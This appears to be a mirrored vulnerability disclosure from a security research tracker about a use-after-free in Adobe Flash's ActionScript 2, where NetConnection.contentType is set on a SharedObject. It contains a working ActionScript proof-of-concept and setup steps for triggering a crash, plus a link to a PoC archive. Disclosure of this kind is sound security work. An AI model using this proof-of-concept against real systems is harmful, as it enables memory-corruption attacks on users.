34 lines
No EOL
1.5 KiB
Text
34 lines
No EOL
1.5 KiB
Text
Source: https://code.google.com/p/google-security-research/issues/detail?id=355&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id
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In certain cases where a native AS2 class sets an internal variable, it can lead to a use-after-free if the variable is a SharedObject. While this example shows setting NetConnection.contentType, this applies to several other variables including many proprties of the Sound and NetStream classes.
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A proof of concept is as follows:
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var s = SharedObject.getLocal("test");
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ASSetPropFlags(s, null, 0, 0xff);
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ASSetPropFlags(s.data, null, 0, 0xff);
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var o = {myprop: "test", myprop2: "test"};
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s.data.contentType = o;
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flush();
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ASnative(2100, 200)(s.data); // new NetConnection
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trace(s.data.contentType);
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s = 1;
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//Do GC
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for(var i = 0; i < 100; i++){
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var b = new flash.display.BitmapData(100, 1000, true, 1000);
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}
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setInterval(c, 1000);
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function c(){
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ASnative(252, 1).call(o); //Array push
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}
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A fla, an AS file and two swfs are attached. donotdelete.fla compiles to donotdelete.swf and contains the code that causes the use-after-free. loadswf.as compiles to loadswf.swf, and sets up the heap to cause a crash. To make the issue occur, put loadswf.swf and donotdelete.swf in the same folder on a webserver (the PoCs don't always work locally due to flash network sandboxing), and load loadswf.swf. This PoC only works on 64-bit systems, but the issue would work on a 32-bit system with proper heap set-up.
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Proof of Concept:
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https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37852.zip |